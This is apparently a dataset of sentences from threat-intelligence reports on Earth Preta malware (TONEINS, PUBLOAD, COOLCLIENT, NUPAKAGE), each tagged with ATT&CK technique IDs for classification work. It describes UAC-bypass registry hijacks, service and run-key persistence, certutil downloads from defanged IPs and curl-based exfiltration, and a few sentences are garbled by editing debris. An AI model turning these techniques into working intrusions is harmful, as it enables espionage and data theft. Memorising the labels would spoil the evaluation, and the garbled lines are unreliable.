{"sentence": "[1] https://securitynews.sonicwall.com/xmlpost/guloader-a-fileless-shellcode-based-malware-in-action/ [2] https://learn.microsoft.com/en-us/windows/win32/debug/vectored-exception-handling [3] https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-exception_record", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"}
{"sentence": "APT & Targeted Attacks Pack it Secretly: Earth Preta’s Updated Stealthy Strategies After months of investigation, we found that several undisclosed malware and interesting tools used for exfiltration purposes were being used by Earth Preta.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "By: Vickie Su, Nick Dai, Sunny Lu March 23, 2023Read time: ( words) Save to Folio Subscribe", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In our previous research, we disclosed and analyzed a new campaign initiated by the threat actor group Earth Preta (aka Mustang Panda).", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In this blog entry, we will introduce and analyze the other tools and malware used by Earth Preta.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Infection chain As we previously mentioned in our past blog entry, the entire attack begins with a spear-phishing email.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "After a long-term investigation into the attack routine, we’ve determined that the full infection chain works as follows: Figure 1.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In our previous research, we covered most of the new TTPs and malware during the first stage, arrival vectors.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In the following sections, we focus on the updated arrival vectors and their succeeding stages.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Starting in October and November 2022, we observed that the threat actors began changing their TTPs to deploy the TONEINS, TONESHELL, and PUBLOAD malware, and QMAGENT malware.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We believe that the threat actors are employing these new techniques to avoid detection.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Trojan.Win32.TONEINS Based on our earlier observation, the TONEINS and TONESHELL malware were downloaded from the Google Drive link embedded in the body of an email.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "To bypass email-scanning services and email gateway solutions, the Google Drive link has now been embedded in a lure document.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The files can then be extracted inside via the password provided in the document.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "By using this technique, the malicious actor behind the attack can successfully bypass scanning services.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "A lure document (allegedly concerning the government-related Myanmar Sustainable Development Plan) embedded with a Google Drive link and a password For the new arrival vector, the whole infection flow has been changed to the procedure shown in Figure 3.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The infection flow for these is similar to the arrival vector type C in our previous report, with the only difference being that the fake .docx files have XOR-encrypted content to prevent detection.", "labels": ["T1027"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "For example, ~$Evidence information.docx is a file disguising itself as an Office Open XML document.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "As such, it seems harmless and can even be opened by using decompression software such as 7-Zip.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The TONEINS malware, libcef.dll, will decrypt this file with a single byte in XOR operations, find the PE header, and drop the payload to the specified path.", "labels": ["T1140"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "A PE file is revealed after decrypting the frData member in the last ZIPFILECECORD structure.", "labels": ["T1140"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The decryption function of TONEINS The succeeding behaviors of the infection flow are generally the same as those in our previous analysis, where we provide more details.", "labels": ["T1140"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Trojan.Win32.PUBLOAD In more recent cases, the malware PUBLOAD was also being delivered through Google Drive links embedded in decoy documents.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In contrast to the previous PUBLOAD variant, it prepends an HTTP header with a legitimate-looking host name to the packets.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We believe that the threat actors are trying to conceal malicious data among normal traffic.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We were able to successfully retrieve the payload from a live C&C server and were therefore able to continue our analysis.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "C&C traffic of the PUBLOAD HTTP variant Once the payload is received, it will check if the first three magic bytes are 17 03 03 and if the following two bytes are the size of payload.", "labels": ["T1071.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It will then decrypt the encrypted payload with the predefined RC4 key 78 5A 12 4D 75 14 14 11 6C 02 71 15 5A 73 05 08 70 14 65 3B 64 42 22 23 20 00 00 00 00 00 00 00, which is the same as the one used in the PUBLOAD loader.", "labels": ["T1140"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "%d! 0x30 CmdWrite error : %d 0x20 - Table 2.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Debug string in PUBLOAD In summary, we think that the new TONESHELL and PUBLOAD archives have been evolving and now have something in common.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "For example, both of them are now being placed in decoy documents (such as Google Drive links) in order to bypass antivirus scanning.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Discovery Once the threat actors obtain access to the victim’s environment, they can start inspecting the environment via the following commands: net user net user <username> net user <username>", "labels": ["T1033"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "/DOMAIN Privilege escalation In this campaign, we discovered several tools used for UAC bypass in Windows 10.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We will go into detail for each of them.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "HackTool.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Win 32.ABPASS HackTool.Win32.ABPASS is a tool used to bypass UAC in Windows 10.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Based on our analysis, it reuses codes from the function ucmShellRegModMethod3, which is from a famous open-source project called UACME.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "A report from Sophos introduces this tool.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": " This tool accepts an argument, and the following data is written into registry: Registry Key Name Value HKEY_USERS\\<SID>-1001_Classes\\aaabbb32\\shell\\open\\command (Default)", "labels": ["T1112"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Registry keys changed by ABPASS", "labels": ["T1112"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In turn, the behavior of ms-settings is redirected to the custom defined ProgID aaabbb32.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Finally, fodhelper.exe or computerDefaults.exe will be executed to trigger the ms-settings protocol.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Win 32.CCPASS HackTool.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Win32.CCPASS is another tool that is also used for Windows 10 UAC bypass and similarly reuses codes from the function ucmMsStoreProtocolMethod in the project UACME.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Code similarities in CCPASS and ucmMsStoreProtocolMethod It works in a similar way to ABPASS.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "However, unlike ABPASS, it hijacks the ms-windows-store protocol.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The hack tool CCPASS works as follows: It disables the application association toasts for the protocol ms-windows-store.", "labels": ["T1112"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It creates a new Shell in the registry.", "labels": ["T1106", "T1112"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "To hide this window, the tool explicitly adds new entries to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ApplicationAssociationToasts to disable all toasts related to the protocol ms-windows-store.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "An example of the application association toast Figure 16.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Hiding application association toasts via the registry Once this is done, the tool starts to alter the shell command of ms-windows-store and finally triggers it using WSReset.exe.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "SilentCleanup In Windows 10, there is a native Windows service called “SilentCleanup.”", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "This service has the highest privileges that can be abused for Windows 10 UAC bypass.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Normally, this service is intended for running %windir%\\system32\\cleanmgr.exe.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "However, the environment variable %windir% can be hijacked and changed to any path to achieve privilege escalation.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Malicious commands abusing the SilentCleanup service We observed that the threat actors used this technique to execute c:\\users\\public\\1.exe.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Lateral movement In this stage, we observed certain malware such as HIUPAN and ACNSHELL (initially introduced and analyzed by Mandiant and Sophos) being used to install themselves to removable disks and create a reverse shell.", "labels": ["T1059.003"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "USB Worm: Worm.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We found a pair of malware comprised of a USB worm and a reverse shell —includin g a USB worm and a reverse shell (detected as Worm.Win32.HIUPAN and Backdoor.Win32.ACNSHELL, respectively,) — being used to spreadfor spreading themselves over removable drives., which we detected as Worm.Win32.HIUPAN and Backdoor.Win32.ACNSHELL.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "This These malware wereas detailed and introducedpreviously discussed in the reports published by Mandiant and Sophos.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "G:\\project\\APT\\U盘劫持\\new\\shellcode\\Release\\shellcode.pdb The string U盘劫持 means “U disk hijacking,” where “U disk” refers to removable drives.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "If it is not installed, it installs itself to %programdata% and then sets the registry run key for persistence.", "labels": ["T1112"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Finally, the ACNSHELL malware rzlog4cpp.dll is sideloaded.", "labels": ["T1574.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "For example, the group used certutil.exe to download the legitimate WinRAR binary as rar1.exe from the server 103[.]159[.]132[.]91. Figure 19.", "labels": ["T1105"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The certutil.exe program downloads the WinRAR binary We also observed that the threat actors used PowerShell to download multiple malware and archives from the server 103[.]159[.]132[.]181 for future use. Figure 20.", "labels": ["T1105"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "PowerShell downloading malware In certain instances, they even leveraged the WinRAR binary installed on the victim hosts to decompress all the malware.", "labels": ["T1105"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Decompressing malware with the installed WinRAR binary Although we found several logs involving multiple pieces of dropped malware, we only managed to retrieve a few of them.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Among all our collected samples, we will introduce the most noteworthy ones.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Backdoor.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Win32.CLEXEC The file name of the backdoor CLEXEC is SensorAware.dll.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "This is a simple backdoor that is capable of executing commands and clearing event logs.", "labels": ["T1059.003"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Win32.COOLCLIENT The backdoor COOLCLIENT was first introduced in a report from Sophos; the sample mentioned in the report was compiled in 2021.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In our case, the COOLCLIENT sample we analyzed had a more recent compilation time in 2022, and while it provides the same functionalities, it has the added capability to open a decoy document (work.pdf) when the current process name has “.pdf” or “.jpg” file extensions.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It contains also possesses the ability to reduce debug strings (less OutputDebugStrings calls).", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Furthermore, COOLCLIENT applies obfuscation techniques that we discuss in later sections. Figure 23.", "labels": ["T1027"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Execution flow of COOLCLIENT The arguments of COOLCLIENT provide the following capabilities: install.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "There are three conditions different ways to decide the method of installation for COOLCLIENT, detailed here: It installs itself by creating an InstallSvc service called InstallSvc which will trigger “googleupdate.exe work”..", "labels": ["T1543.003", "T1547.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It sets up a run key for via the command C:\\ProgramData\\GoogleUpdate\\googleupdate.exe work for persistence. work.", "labels": ["T1547.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The malware will continue to read and decrypt goopdate.ja and inject it into winver.exe for the next-stage payload (COOLCLIENT), which contains malicious behaviors.", "labels": ["T1055", "T1140"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "passuac.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The malware will check if the process avp.exe exists.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "If avp.exe doesn’t exist, UAC bypass will be executed via the CMSTPLUA COM interface.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "If avp.exe exists, UAC bypass will be executed via the AppInfo RPC service.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "UAC Bypass via the AppInfo RPC service Based on the class name used in COOLCLIENT, we learned thaAccording to our analysis, it reads the encrypted configuration filecan expand the C&C server via time.sig., an encrypted configuration.", "labels": ["T1027", "T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It is also able to communicate through different network protocols such as UDP (User Datagram Protocol) and TCP (Transmission Control Protocol).", "labels": ["T1095"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Based on some internal strings and the APIs used by Earth Preta, the functionalities of this backdoor can be inferred as follows: Send portmap Build connection Read file Delete file Keystrokes and windows monitoring Backdoor.", "labels": ["T1056.001", "T1070.004", "T1106"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "However, this backdoor has an anti-debugging technique, which will check if the running processes have the strings dbg.exe or olly. Figure 27.", "labels": ["T1057"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "TROCLIENT anti-debugging technique.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Figure 28 shows the whole execution flow of TROCLIENT. Figure 28.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Execution flow of TROCLIENT The arguments of TROCLIENT provide the following capabilities: install.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "There are two waysto determine the method of installation for TROCLIENT, detailed here: It installs itself by creating aservice called InstallSvc which will trigger “C:\\programdata\\netsky\\netsky.exe online”.", "labels": ["T1543.003", "T1547.001", "T1569.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "online: It will read the next stage payloads, free.plg and main.plg, and inject them into dllhost.exe. passuac:", "labels": ["T1055"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "If it does not, UAC bypass is executed via the CMSTPLUA COM interface.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The capabilities of three different arguments This backdoor provides the following capabilities: Read file Delete file Monitor keystrokes and windows There are several similarities and differences between COOLCLIENT and TROCLIENT, as Table 3 shows.", "labels": ["T1056.001", "T1070.004"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Argument/Behaviors COOLCLIENT TROCLIENT install Creates a service named InstallSvc ✓ ✓ Executes itself with passuac ✓ ✓ Sets Run Key with “work/online” ✓ ✓ passuac AppInfo RPC ✓ CMSTPLUA COM ✓ ✓ Token manipulation ✓ work/online Send portmap ✓ Connect to C&C ✓ ✓ File operations ✓ ✓ Keylogging ✓ ✓ Table 3.", "labels": ["T1056.001", "T1543.003", "T1547.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Comparison of COOLCLIENT and TROCLIENT", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "After further investigation, we even found some previously unseen pieces of malware that were used to collect data in a custom-made file format.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "WinRAR and curl According to some of our monitoring logs, the threat actors abused the installed WinRAR binary and the uploaded curl executable to exfiltrate the files (Figure 30 shows the executed command).", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Note that the executable log.log is a legitimate curl binary.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "All the exfiltrated data was collected and sent back to the threat actor-controlled FTP (File Transfer Protocol) server.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "FTP servers with stolen documents HackTool.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Win32.NUPAKAGE Apart from well-known legitimate tools, the threat actors also crafted highly customized tools used for exfiltration.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We named this malware “NUPAKAGE,\" a name derived from its unique PDB string, D:\\Project\\NEW_PACKAGE_FILE\\Release\\NEW_PACKAGE_FILE.pdb.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It seems that the threat actors are continuously updating this tool to provide more flexibility and lower the possibility of detection, including adding more command-line arguments and obfuscation mechanisms.", "labels": ["T1027", "T1059.003"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "By default, it only collects documents, including the files with the following extensions: .doc .docx .xls .xlsx .ppt .pptx .pdf", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It avoids collecting documents with file names starting with “$” or “~” since these types of documents are usually either temporary files generated by the system or PE files pretending to be decoy documents (as we discussed in the arrival vectors section).", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The usage of this tool is as follows: malware.exe passcode start end chunk -s extension_A extension_B … Argument Name Format Example Value Description passcode String comeon A unique code to execute it start String 2022-01-01", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The start range of the exfiltrated file’s modification timestamp end String 2022-12-31", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The end range of the exfiltrated file’s modification timestamp chunk Integer 4096 Splits the generated data in chunks by the specified size (MB) -s String File extensions to be collected; optional Table 5.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "As Figure 32 shows, it first checks if the passcode exists.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "If not, the malware execution procedure will terminate.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In our collection, we observed different passcodes in each malware. Figure 32.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Passcode check routine in NUPAKAGE SHA256 Passcode 634977a24e8fb2e3e82a0cddfe8d007375d387415eb131cce74ca03e0e93565f notebook c835577f1ddf66a957dd0f92599f45cb67e7f3ea4e073a98df962fc3d9a3fbe0 comeon 2937580b16e70f82e27cfbc3524c2661340b8814794cc15cb0d534f5312db0e0 update c2f5a12ebaeb39d4861e4c3b35253e68e6d5dc78f8598d74bc85db21aeb504e8 comeon Table 4.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Passcodes in NUPAKAGE After execution, NUPAKAGE will drop two files, xxx.zip and xxx.z.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The file xxx.zip is a logging file with a fake ZIP header prepended at offset 0x0 and taking up the first 0x100 bytes.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Starting from the offset 0x100, the logging strings are encrypted with a single byte in XOR operations as shown Figure 33.", "labels": ["T1027"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The original logging file (top), with plain text revealed in the decrypted logging file (bottom) Taking one of the execution results as an example, much of the information of the exfiltrated data is saved, including the original file path, the original file size, and the compressed file size.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "For security researchers, this logging file also helps reveal how much data is exfiltrated and provides information on the impact scope.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "[+] Program ready!", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "[+] FILE ORIGINAL PATH: C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf [+] FILE PATH SIZE: 198 [+] FILE ORIGINAL SIZE: 186837", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "186837 [+] FILE COMPRESSED SIZE: 183734 ...", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "[*] File or folder access denied!", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The file with a .z extension is a blob of exfiltrated data within a self-defined file format.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "To separate the file blobs, it puts a unique byte sequence at the end of each, 55 55 55 55 AA AA AA AA FF FF FF FF 99 99 99 99.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Figure 34.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Self-defined format in the file with the .z extension generated by NUPAKAGE Table 5.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Self-defined format description in the file with the .z extension generated by NUPAKAGE It’s also worth mentioning that in the more recent versions of NUPAKAGE, an increasing number of obfuscations are being adopted to thwart static analysis.", "labels": ["T1027"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Junk codes in more recent versions of NUPAKAGE HackTool.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Win32.ZPAKAGE ZPAKAGE is another example of custom malware used for packing files; it also works similarly to NUPAKAGE.", "labels": ["T1027"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It also needs a passcode to ensure that it is being used as intended.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Figure 36.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "An example of a ZPAKAGE password ZPAKAGE also supports command-line arguments, but it possesses less functions than NUPAKAGE.", "labels": ["T1059.003"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Arguments supported by ZPAKAGE ZPAKAGE also shows similar behaviors to NUPAKAGE.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "For instance, it also avoids files with names starting with “$” or “~”.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The file with a .z extension is the exfiltrated data blob and the file with a .zip extension is the logging file.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In the generated file with a .z extension, the exfiltrated files will be compressed by the zlib algorithm to minimize the file size.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It also defines a Boolean field “type” for storage, whether a file is compressed or not.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "If a file is compressed and its file size is less than the original one, the type will be 1.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Regardless of whether the file content is compressed or not, it will be encrypted in XOR operations with a specific string, qwerasdf.", "labels": ["T1573.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "For example, we found a TONEINS sample (SHA256: 8b98e8669d1ba49b66c07199638ae6012adf7d5d93c1ca3bf31d6329506da58a) on VirusTotal that can’t be linked to any other file in the “Relations” tab.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "However, we observed two files that have been opened in the “Behaviors” tab with the file names ~$Evidence information.docx and ~$List of terrorist personnel at the border.docx.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "As mentioned in the arrival vectors section, the next stage payloads are normally embedded in the fake document files.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Opened files of TONEINS sample Figure 39 shows the search results for the query “List of terrorist personnel at the border” on VirusTotal.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The first file is the TONEINS DLL sample that we mentioned earlier in this section, while the second file is a benign executable file originally named adobe_licensing_wf_helper.exe, which was apparently uploaded to VirusTotal with the file name List of terrorist personnel at the border.exe.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Search result for the string List of terrorist personnel at the border on VirusTotal Figure 40.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": ", there is a Google Drive link and a password.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The content itself is related to the Government of the Republic of the Union of Myanmar, and is written in Burmese.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Letter Head.docx Upon checking the download link, we discovered that it was the same password-protected archive file that we found on VirusTotal earlier.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Screenshot of the Google Drive link The new arrival vector flow is similar to the one we introduced in the arrival vector section: Victims will receive and interact with a decoy document containing a Google Drive link and a corresponding password instead of an archive download link embedded in the email.", "labels": ["T1204.002", "T1566.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "As for why the password-protected archive has the execution parent, upon checking the sandbox execution behaviors of Letter Head.docx on VirusTotal, we discovered that the VirusTotal sandbox will select any link embedded in the document.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
